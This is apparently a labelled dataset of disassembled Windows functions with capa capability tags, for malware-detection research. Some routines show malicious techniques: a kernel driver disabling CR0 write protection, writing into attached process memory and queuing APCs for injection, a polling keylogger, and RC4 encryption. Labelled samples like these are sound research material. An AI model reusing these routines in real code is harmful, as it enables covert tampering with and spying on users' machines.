joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14dba
Capabilities:
Attach user process memory
Encode data using xor

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x13c
mov eax, dword [0x176d0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x18]
push ebx
mov ebx, dword [ebp + 0x10]
mov edx, 0x10c
mov ecx, 0xc0000001
push esi
mov esi, dword [ebp + 8]
mov dword [ebp - 0x124], ecx
cmp dword [ebp + 0xc], edx
jne 0x14ee0
cmp dword [ebp + 0x14], 4
jne 0x14ee0
push edi
push 0x43
pop ecx
lea edi, [ebp - 0x120]
rep movsd dword es:[edi], dword [esi]
and dword [ebx], 0
pop edi
test eax, eax
je 0x14e17
mov dword [eax], 4
mov al, byte [0x17b70]
xor esi, esi
xor byte [ebp + esi - 0x120], al
inc esi
cmp esi, edx
jb 0x14e1e
cmp dword [ebp - 0x120], 0x64726d6d
je 0x14e40
mov eax, 0xc0000001
jmp 0x14ee2
lea eax, [ebp - 0x14]
push eax
call fcn.000147ae
call fcn.00013b58
test eax, eax
je 0x14ecf
lea ecx, [ebp - 0x13c]
push ecx
push eax
call dword [sym.imp.ntoskrnl.exe_KeStackAttachProcess]
cli
mov eax, cr0
and eax, 0xfffeffff
mov cr0, eax
push dword [ebp - 0x11c]
call dword [sym.imp.ntoskrnl.exe_MmIsAddressValid]
test al, al
je 0x14eb6
xor esi, esi
inc esi
push esi
push dword [ebp - 0x118]
push dword [ebp - 0x11c]
call dword [sym.imp.ntoskrnl.exe_ProbeForWrite]
push dword [ebp - 0x118]
lea eax, [ebp - 0x114]
push eax
push dword [ebp - 0x11c]
call sub.ntoskrnl.exe_memcpy
add esp, 0xc
and dword [ebp - 0x124], 0
mov dword [ebx], esi
mov eax, cr0
or eax, 0x10000
mov cr0, eax
sti
lea eax, [ebp - 0x13c]
push eax
call dword [sym.imp.ntoskrnl.exe_KeUnstackDetachProcess]
lea eax, [ebp - 0x14]
push eax
call fcn.00013e38
mov eax, dword [ebp - 0x124]
jmp 0x14ee2
mov eax, ecx
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
pop ebx
call fcn.0001617d
leave
ret 0x14
Function at 0x14ef8
Capabilities:
Attach user process memory
Encode data using xor

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x40
mov eax, dword [0x176d0]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [ebp + 0xc], 0xc
mov eax, dword [ebp + 0x10]
push ebx
mov ebx, dword [ebp + 0x18]
mov dword [ebp - 0x28], eax
mov eax, 0xc0000001
push esi
mov esi, dword [ebp + 8]
mov dword [ebp - 0x24], eax
jne 0x14fcd
push edi
lea edi, [ebp - 0x10]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
pop edi
test ebx, ebx
je 0x14f39
and dword [ebx], 0
mov dl, byte [0x17b70]
xor ecx, ecx
xor byte [ebp + ecx - 0x10], dl
inc ecx
cmp ecx, 0xc
jb 0x14f41
cmp dword [ebp - 0x10], 0x64726d6d
jne 0x14fcd
mov esi, dword [ebp - 8]
cmp esi, dword [ebp + 0x14]
jne 0x14fcd
lea eax, [ebp - 0x20]
push eax
call fcn.000147ae
call fcn.00013b58
test eax, eax
je 0x14fc1
lea ecx, [ebp - 0x40]
push ecx
push eax
call dword [sym.imp.ntoskrnl.exe_KeStackAttachProcess]
cli
mov eax, cr0
and eax, 0xfffeffff
mov cr0, eax
push dword [ebp - 0xc]
call dword [sym.imp.ntoskrnl.exe_MmIsAddressValid]
test al, al
je 0x14fab
push esi
push dword [ebp - 0xc]
push dword [ebp - 0x28]
call sub.ntoskrnl.exe_memcpy
and dword [ebp - 0x24], 0
add esp, 0xc
test ebx, ebx
je 0x14fab
mov dword [ebx], esi
mov eax, cr0
or eax, 0x10000
mov cr0, eax
sti
lea eax, [ebp - 0x40]
push eax
call dword [sym.imp.ntoskrnl.exe_KeUnstackDetachProcess]
lea eax, [ebp - 0x20]
push eax
call fcn.00013e38
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
pop ebx
call fcn.0001617d
leave
ret 0x14

Function at 0x14fe2
Capabilities:
Encode data using xor

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [0x176d0]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [ebp + 0xc], 4
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [ebp + 0x10]
push esi
mov esi, dword [ebp + 0x18]
push edi
mov edi, 0xc0000001
mov dword [ebp - 0x1c], edi
je 0x15012
mov eax, edi
jmp 0x15079
cmp dword [ebp + 0x14], 4
jne 0x1500e
mov eax, dword [eax]
mov dword [ebp - 0x18], eax
xor eax, eax
cmp esi, eax
je 0x15025
mov dword [esi], eax
mov cl, byte [0x17b70]
xor byte [ebp + eax - 0x18], cl
inc eax
cmp eax, 4
jb 0x1502b
lea eax, [ebp - 0x14]
push eax
call fcn.000147ae
call fcn.00013b58
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x14]
push eax
call fcn.00013e38
cmp dword [ebp - 0x18], 0
je 0x1500e
call fcn.00015b82
test eax, eax
jl 0x15076
and dword [ebp - 0x1c], 0
test ebx, ebx
je 0x1506c
mov dword [ebx], 1
test esi, esi
je 0x15076
mov dword [esi], 4
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0001617d
leave
ret 0x14
Function at 0x15090
Capabilities:
Encode data using xor

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x120
mov eax, dword [0x176d0]
xor eax, ebp
mov dword [ebp - 4], eax
mov ecx, dword [ebp + 8]
push ebx
mov ebx, dword [ebp + 0x10]
push esi
mov esi, dword [ebp + 0x18]
push edi
mov edi, dword [ebp + 0xc]
mov eax, 0xc0000001
mov dword [ebp - 0x120], eax
cmp edi, 0x108
ja 0x1515c
cmp dword [ebp + 0x14], 4
jne 0x1515c
push edi
push ecx
lea eax, [ebp - 0x11c]
push eax
call sub.ntoskrnl.exe_memcpy
xor eax, eax
add esp, 0xc
cmp esi, eax
je 0x150ee
mov dword [esi], eax
mov cl, byte [0x17b70]
cmp edi, eax
jbe 0x15104
xor byte [ebp + eax - 0x11c], cl
inc eax
cmp eax, edi
jb 0x150f8
lea eax, [ebp - 0x14]
push eax
mov byte [ebp - 0x15], 0
call fcn.000147ae
call fcn.00013b58
test eax, eax
je 0x1514d
push eax
push dword [ebp - 0x11c]
lea eax, [ebp - 0x118]
push eax
call fcn.00015f98
call fcn.00012da2
and dword [ebp - 0x120], 0
test ebx, ebx
je 0x15143
mov dword [ebx], 1
test esi, esi
je 0x1514d
mov dword [esi], 4
lea eax, [ebp - 0x14]
push eax
call fcn.00013e38
mov eax, dword [ebp - 0x120]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0001617d
leave
ret 0x14

Function at 0x15268
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
xor eax, eax
push esi
push edi
xor esi, esi
mov dword [ebp - 0x2c], esi
lea edi, [ebp - 0x28]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
xor eax, eax
lea edi, [ebp - 0x10]
mov dword [ebp - 0x14], esi
stosd dword es:[edi], eax
lea edi, [ebp - 8]
mov dword [ebp - 0xc], esi
stosd dword es:[edi], eax
mov edi, dword [ebp + 0x14]
mov ecx, 0xc0000001
mov ebx, ecx
mov dword [ebp - 4], esi
cmp edi, esi
jne 0x152aa
mov eax, ecx
jmp 0x15342
mov eax, dword [ebp + 0x18]
push esi
push esi
push 0x860
push 1
push 1
push 0x80
mov dword [ebp - 0x24], eax
push esi
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x2c]
push eax
push 0x80000000
lea eax, [ebp - 4]
push eax
mov dword [ebp - 0x2c], 0x18
mov dword [ebp - 0x28], esi
mov dword [ebp - 0x20], 0x240
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x18], esi
call dword [sym.imp.ntoskrnl.exe_ZwCreateFile]
test eax, eax
jl 0x15332
push dword [ebp + 0x10]
call fcn.0001152e
sub edi, dword [ebp + 0x10]
push edi
push eax
call fcn.00011586
cmp eax, esi
je 0x15332
push esi
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp + 0xc]
push dword [eax]
lea eax, [ebp - 0x14]
push dword [ebp + 8]
mov dword [ebp - 8], esi
push eax
push esi
push esi
push esi
push dword [ebp - 4]
call dword [sym.imp.ntoskrnl.exe_ZwReadFile]
test eax, eax
jl 0x15332
xor ebx, ebx
cmp dword [ebp - 4], esi
je 0x15340
push dword [ebp - 4]
call dword [sym.imp.ntoskrnl.exe_ZwClose]
mov eax, ebx
pop edi
pop esi
pop ebx
leave
ret 0x14
Function at 0x153c0
Capabilities:
Attach user process memory

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
cmp dword [0x1803c], 1
je 0x153d8
mov eax, 0xc0000001
leave
ret
mov eax, dword [0x17dd8]
mov eax, dword [eax]
push esi
mov esi, dword [0x17e2c]
mov dword [0x1804c], eax
mov eax, dword [0x17dec]
mov eax, dword [eax]
push edi
mov dword [0x17e28], eax
mov edi, 0x17e10
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov esi, dword [0x17e0c]
mov edi, 0x17dc8
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov esi, dword [0x17e24]
mov edi, 0x17df4
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call fcn.00012110
pop edi
pop esi
test eax, eax
je 0x153d1
lea ecx, [ebp - 0x18]
push ecx
push eax
call dword [sym.imp.ntoskrnl.exe_KeStackAttachProcess]
mov eax, dword [0x18074]
and dword [eax], 0
mov eax, dword [0x18050]
mov ecx, dword [eax + 8]
shl ecx, 2
push ecx
push dword [eax]
push dword [0x18074]
call sub.ntoskrnl.exe_memcpy
add esp, 0xc
lea eax, [ebp - 0x18]
push eax
call dword [sym.imp.ntoskrnl.exe_KeUnstackDetachProcess]
mov eax, dword [0x18074]
cmp dword [eax], 0
je 0x153d1
xor eax, eax
leave
ret

Function at 0x1547a
Capabilities:
Attach user process memory

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
cmp dword [0x1803c], 1
je 0x15492
mov eax, 0xc0000001
leave
ret
push esi
push edi
call fcn.000115ae
mov eax, dword [0x17dd8]
mov ecx, dword [0x18078]
mov dword [eax], ecx
mov eax, dword [0x17dec]
mov ecx, dword [0x17e08]
mov dword [eax], ecx
mov edi, dword [0x17e2c]
mov esi, 0x18064
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov edi, dword [0x17e0c]
mov esi, 0x1807c
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov edi, dword [0x17e24]
mov esi, 0x18054
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call fcn.000115c2
call fcn.00012110
mov edi, eax
test edi, edi
jne 0x154f7
mov eax, 0xc0000001
jmp 0x1553a
push 8
call fcn.00011832
mov esi, eax
lea eax, [ebp - 0x18]
push eax
push edi
call dword [sym.imp.ntoskrnl.exe_KeStackAttachProcess]
call fcn.000115ae
mov ecx, dword [0x18050]
mov edx, dword [0x17de8]
mov ecx, dword [ecx]
mov eax, esi
shl eax, 2
mov edx, dword [eax + edx]
mov dword [eax + ecx], edx
call fcn.000115c2
lea eax, [ebp - 0x18]
push eax
call dword [sym.imp.ntoskrnl.exe_KeUnstackDetachProcess]
xor eax, eax
pop edi
pop esi
leave
ret
Function at 0x15e04
Capabilities:
Attach user process memory

Disassembly:
push 0x24
push 0x16d50
call fcn.00016214
xor ebx, ebx
cmp dword [ebp + 0x10], ebx
je 0x15f86
cmp dword [ebp + 0x14], ebx
je 0x15f86
push 0x30
push ebx
call dword [sym.imp.ntoskrnl.exe_ExAllocatePool]
mov dword [ebp - 0x1c], eax
cmp eax, ebx
jne 0x15e3e
mov eax, 0xc000009a
jmp 0x15f8b
mov eax, 0x15dfe
mov ecx, 0x15c46
sub eax, ecx
push ebx
push ebx
push ebx
push eax
push ecx
call dword [sym.imp.ntoskrnl.exe_IoAllocateMdl]
mov dword [0x18094], eax
cmp eax, ebx
jne 0x15e74
mov esi, 0xc000009a
push ebx
push dword [ebp - 0x1c]
call dword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
mov eax, esi
jmp 0x15f8b
mov dword [ebp - 4], ebx
push 1
push ebx
push eax
call dword [sym.imp.ntoskrnl.exe_MmProbeAndLockPages]
mov dword [ebp - 4], 0xfffffffe
lea eax, [ebp - 0x34]
push eax
push dword [ebp + 0x14]
call sub.ntoskrnl.exe_KeStackAttachProcess
push 0x10
push ebx
push ebx
push 1
push 1
push dword [0x18094]
call dword [sym.imp.ntoskrnl.exe_MmMapLockedPagesSpecifyCache]
mov esi, eax
cmp esi, ebx
jne 0x15eca
lea eax, [ebp - 0x34]
push eax
call sub.ntoskrnl.exe_KeUnstackDetachProcess
push dword [0x18094]
call dword [sym.imp.ntoskrnl.exe_IoFreeMdl]
mov esi, 0xc0000001
jmp 0x15e63
cmp dword [ebp + 8], ebx
je 0x15efd
lea edi, [esi + 0x14]
push 0x12c
push ebx
push edi
call sub.ntoskrnl.exe_memset
add esp, 0xc
mov eax, dword [ebp + 8]
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
cmp dl, bl
jne 0x15ee7
sub eax, ecx
push eax
push dword [ebp + 8]
push edi
call sub.ntoskrnl.exe_memcpy
add esp, 0xc
mov eax, dword [ebp + 0xc]
mov dword [esi + 1], eax
lea eax, [esi + 0x14]
mov dword [esi + 9], eax
lea eax, [ebp - 0x34]
push eax
call sub.ntoskrnl.exe_KeUnstackDetachProcess
push ebx
push 1
push esi
push ebx
push 0x15c04
push ebx
mov esi, dword [ebp + 0x10]
push esi
push dword [ebp - 0x1c]
call sub.ntoskrnl.exe_KeInitializeApc
push ebx
push ebx
push ebx
push dword [ebp - 0x1c]
call sub.ntoskrnl.exe_KeInsertQueueApc
test al, al
jne 0x15f49
push dword [0x18094]
call dword [sym.imp.ntoskrnl.exe_MmUnlockPages]
jmp 0x15eb7
push 0xd
call fcn.00011832
cmp eax, ebx
je 0x15f86
add eax, esi
cmp byte [eax], bl
jne 0x15f5d
mov byte [eax], 1
xor eax, eax
jmp 0x15f8b
mov eax, 0xc0000001
call fcn.00016259
ret 0x10

Function at 0x1823e
Capabilities:
Create device object

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
call fcn.00018205
pop ebp
jmp fcn.00011416
Function at 0x4041b0
Capabilities:
Delete registry key
Query or enumerate registry key

Disassembly:
sub esp, 0x11c
mov eax, dword [0x409070]
xor eax, esp
push ebp
push esi
push edi
mov edi, dword [esp + 0x12c]
mov ebp, ecx
lea ecx, [esp + 0x14]
push ecx
push 0x2001f
push 0
mov dword [esp + 0x130], eax
mov eax, dword [ebp]
push edi
push eax
mov dword [esp + 0x2c], edi
mov dword [esp + 0x20], 0
mov dword [esp + 0x28], 0
call dword [0x407008]
mov esi, eax
test esi, esi
jne 0x4042b2
lea ecx, [esp + 0xc]
call fcn.004040b0
mov esi, eax
test esi, esi
mov eax, dword [esp + 0x14]
mov dword [esp + 0xc], eax
jne 0x4042b6
lea edx, [esp + 0x1c]
push edx
push esi
push esi
push esi
lea ecx, [esp + 0x20]
push ecx
lea edx, [esp + 0x38]
push edx
push esi
mov esi, dword [section..rdata]
push eax
mov dword [esp + 0x30], 0x100
call esi
test eax, eax
jne 0x40428e
jmp 0x404250
lea eax, [esp + 0x24]
push eax
lea ecx, [esp + 0x10]
call fcn.004041b0
mov edi, eax
test edi, edi
jne 0x4042dd
lea ecx, [esp + 0x1c]
push ecx
mov ecx, dword [esp + 0x10]
push eax
push eax
push eax
lea edx, [esp + 0x20]
push edx
lea eax, [esp + 0x38]
push eax
push edi
push ecx
mov dword [esp + 0x30], 0x100
call esi
test eax, eax
je 0x404250
mov edi, dword [esp + 0x18]
mov eax, dword [esp + 0xc]
test eax, eax
je 0x4042a5
push eax
call dword [0x407004]
mov dword [esp + 0xc], 0
mov edx, dword [ebp]
push edi
push edx
call dword [0x407014]
mov esi, eax
mov eax, dword [esp + 0xc]
test eax, eax
je 0x4042c1
push eax
call dword [0x407004]
mov eax, esi
mov ecx, dword [esp + 0x124]
pop edi
pop esi
pop ebp
xor ecx, esp
call fcn.004058b7
add esp, 0x11c
ret 4
mov eax, dword [esp + 0xc]
test eax, eax
je 0x4042ec
push eax
call dword [0x407004]
mov eax, edi
jmp 0x4042c3
Function at 0x4047d0
Capabilities:
Set registry value

Disassembly:
push ebx
mov ebx, dword [0x407078]
push ebp
push esi
mov esi, dword [esp + 0x14]
push edi
mov ebp, ecx
xor edi, edi
push esi
call ebx
inc eax
add esi, eax
add edi, eax
cmp eax, 1
jne 0x4047e2
mov eax, dword [esp + 0x18]
mov ecx, dword [esp + 0x14]
mov edx, dword [ebp]
push edi
push eax
push 7
push 0
push ecx
push edx
call dword [0x407018]
pop edi
pop esi
pop ebp
pop ebx
ret 8
Function at 0x40ae30
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x478d5b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.0046b1e9
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x40aeb2
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.00468a40
mov eax, dword [eax]
push 0x49d210
push eax
call fcn.0045ab44
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.0046b474
test bl, bl
je 0x40aeb2
push 0x49d210
lea ecx, [esp + 0xc]
call fcn.0046b850
push 0x4a0d8c
lea ecx, [esp + 0xc]
call fcn.0046b850
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x40aeee
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.0046b474
jmp 0x40afb9
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x40af72
lea edx, [esp + 0x7c]
push 0x4a0d88
push edx
call fcn.0045ab44
add esp, 8
test eax, eax
je 0x40af72
lea eax, [esp + 0x7c]
push 0x4a0d84
push eax
call fcn.0045ab44
add esp, 8
test eax, eax
je 0x40af72
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x40af02
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.0046b474
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x40c210
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x40c272
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc
Function at 0x40c280
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x478ebb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20c
mov eax, dword [0x4a7fcc]
push esi
push edi
mov edi, ecx
mov dword [esp + 8], eax
mov eax, dword [edi + 0x44]
mov dword [esp + 0x21c], 0
test eax, eax
jne 0x40c3b8
mov ecx, dword [edi + 0x48]
lea esi, [edi + 0x48]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x40c2e6
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.0046b474
xor eax, eax
jmp 0x40c42f
push str.mailto:
lea ecx, [esp + 0xc]
call fcn.0046b5fd
push esi
lea ecx, [esp + 0xc]
call fcn.0046b88c
mov ecx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [esp + 0x22c]
push ebp
push 0
push 0
push ecx
push 0x4a0dc4
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, eax
cmp esi, 0x20
ja 0x40c40d
lea edx, [esp + 0x14]
mov ecx, edi
push edx
push str..htm
push closesocket
call fcn.0040c210
test eax, eax
jne 0x40c40d
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x14]
push str._shellopencommand
push eax
call ebx
lea ecx, [esp + 0x14]
lea edx, [esp + 0x14]
push ecx
push edx
push closesocket
mov ecx, edi
call fcn.0040c210
test eax, eax
jne 0x40c40d
lea eax, [esp + 0x14]
push 0x4a0da0
push eax
call fcn.0045bc20
mov esi, eax
add esp, 8
test esi, esi
jne 0x40c3ec
lea ecx, [esp + 0x14]
push 0x4a0d9c
push ecx
call fcn.0045bba0
mov esi, eax
add esp, 8
test esi, esi
jne 0x40c3ec
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esp + eax + 0x13]
jmp 0x40c3ef
lea edx, [edi + 0x4c]
lea ecx, [esp + 8]
push edx
call fcn.0046b5ad
mov eax, dword [esp + 8]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x40c2fe
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.0046b474
xor eax, eax
jmp 0x40c42f
mov byte [esi], 0
push 0x4a0d98
push esi
call ebx
mov eax, dword [esp + 0x10]
push eax
push esi
call ebx
lea ecx, [esp + 0x14]
push ebp
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esi, eax
xor edx, edx
cmp esi, 0x20
setg dl
lea ecx, [esp + 0x10]
mov esi, edx
mov dword [esp + 0x224], 0xffffffff
call fcn.0046b474
pop ebp
mov eax, esi
pop ebx
mov ecx, dword [esp + 0x214]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x218
ret 4
Function at 0x41ccc0
Capabilities:
Log keystrokes via polling

Disassembly:
mov eax, dword [esp + 4]
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_GetKeyState]
mov cl, byte [eax + 8]
and ecx, 0xff
mov esi, ecx
cmp si, 0x60
jb 0x41cd2e
cmp si, 0x69
ja 0x41cd2e
add esi, 0xffd0
cmp si, 0x11
je 0x41ccfe
push 0x11
call edi
test ax, ax
jge 0x41ccfe
or esi, 0x2000
cmp si, 0x10
je 0x41cd13
push 0x10
call edi
test ax, ax
jge 0x41cd13
or esi, 0x4000
cmp si, 0x12
je 0x41cd28
push 0x12
call edi
test ax, ax
jge 0x41cd28
or esi, 0x8000
mov ax, si
pop edi
pop esi
ret
cmp si, 0x6d
jne 0x41cd3b
mov esi, 0xbd
jmp 0x41ccef
cmp si, 0x6e
jne 0x41cd48
mov esi, 0xbe
jmp 0x41ccef
cmp si, 0x6f
jne 0x41cce9
mov esi, 0xbf
jmp 0x41ccef

Function at 0x41e3e0
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0x4b8e00]
xor edx, edx
cmp eax, edx
jne 0x41e406
xor eax, eax
mov byte [eax + 0x4b8d00], al
inc eax
cmp eax, 0x100
jl 0x41e3ee
mov dword [0x4b8e00], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0x4b8d00
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x41e497
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x41e46a
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x41e438
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x41e510
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x41e563
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x41e54a
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret